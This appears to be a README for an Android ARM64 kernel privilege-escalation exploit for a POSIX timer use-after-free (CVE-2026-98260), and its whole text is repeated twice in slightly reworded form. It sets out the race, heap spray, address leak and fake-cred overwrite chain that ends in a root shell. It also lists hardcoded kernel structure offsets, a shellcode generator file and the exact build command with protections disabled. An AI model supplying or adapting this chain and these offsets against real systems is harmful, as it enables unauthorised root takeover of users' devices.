ARM64 Android proof-of-concept for CVE-2026-98260, a POSIX timer UAF in the kernel Timer subsystem, with a full race, heap spray, and root escalation chain.
ARM64 implementation of the Infinity Core series Timer subsystem vulnerability, with the target kernel form being the 7.0 series (same source code structure as Ubuntu 26.04 7.0.0-30-generic). This repository implements the complete trigger and privilege escalation chain; the key offsets are hardcoded according to the structure layout of that target version, and the symbol addresses can be corrected directly against the target vmlinux.
When a non-leader thread calls exec(), de_thread() swaps the TID and calls release_task(leader), and POSIX timer cleanup is placed after several operations that can fail. After exec fails, the timerqueue node of the already-released k_itimer remains in the timerqueue of the surviving task, and subsequent cleanup dereferences that node again, causing a UAF.
Exploit chain: oracle thread pool races → AIO ring heap spray reclaims the UAF object → elist leaks the task address → controlled page constructs fake timer + fake cred → timerqueue removal double-write writes fake cred into task->cred → setresuid(0) obtains a root shell.
k_itimer.it.cpu.elist 0xe0
k_itimer.it.cpu.handling 0xf0
k_itimer.it_interval 0x68
k_itimer size 0x180
task_struct.cpu_timers head 0xca0
task_struct.cred 0xd00
cred.uid/gid/euid/... 4/8/14/18/24/28/34/38
cred.cap_inh/prm/eff 0x30/0x40/0x50
cred.security 0x80
cred.user_ns 0x90
cred size 0xb8
Needs correction for the target machine: symbol addresses (the local KASLR leak self-calibrates, no hardcoding needed).
timer_lpe.c main program
ic_timer_target.h structure layout (hardcoded)
ic_compat.h syscall wrappers, AArch64 assembly primitives
ic_util.h general utilities
ic_shellcode_arm64.c AArch64 shellcode generator
ic_target.h other offsets
export ANDROID_NDK_HOME=/path/to/ndk
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang \
-O2 -std=gnu11 -static -fno-stack-protector -fno-pic -no-pie \
-I. timer_lpe.c ic_shellcode_arm64.c -o ic98260 \
-Wl,--gc-sections -Wl,-z,norelro -pthread
An ARM64 implementation of the Infinity Core Timer subsystem vulnerability, targeting the 7.0-series kernel shape (same code structure as Ubuntu 26.04 7.0.0-30-generic). Complete trigger and escalation chain. Key offsets are hardcoded to that target structure layout; only symbol addresses need to be matched against the target vmlinux.
When a non-leader thread calls exec(), de_thread() exchanges TIDs and calls release_task(leader); POSIX timer cleanup sits behind several fallible operations. After a failed exec, the freed k_itimer's timerqueue node stays in a live task's timerqueue, and later cleanup dereferences it again.
Chain: oracle thread pool races → AIO ring spray reclaims the UAF object → elist leaks the task address → fake timer and fake cred crafted in a controlled page → timerqueue unlink double-writes the fake cred into task->cred → setresuid(0) gives a root shell.
k_itimer.it.cpu.elist 0xe0
k_itimer.it.cpu.handling 0xf0
k_itimer.it_interval 0x68
sizeof(k_itimer) 0x180
task_struct.cpu_timers head 0xca0
task_struct.cred 0xd00
cred.uid/gid/euid/... 4/8/14/18/24/28/34/38
cred.cap_inh/prm/eff 0x30/0x40/0x50
cred.security 0x80
cred.user_ns 0x90
sizeof(cred) 0xb8
Only symbol addresses need per-target adjustment; the in-kernel KASLR leak self-calibrates.
timer_lpe.c main program
ic_timer_target.h structure layout (hardcoded)
ic_compat.h syscall wrappers, AArch64 asm primitives
ic_util.h shared helpers
ic_shellcode_arm64.c AArch64 shellcode emitter
ic_target.h other offsets
export ANDROID_NDK_HOME=/path/to/ndk
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang \
-O2 -std=gnu11 -static -fno-stack-protector -fno-pic -no-pie \
-I. timer_lpe.c ic_shellcode_arm64.c -o ic98260 \
-Wl,--gc-sections -Wl,-z,norelro -pthread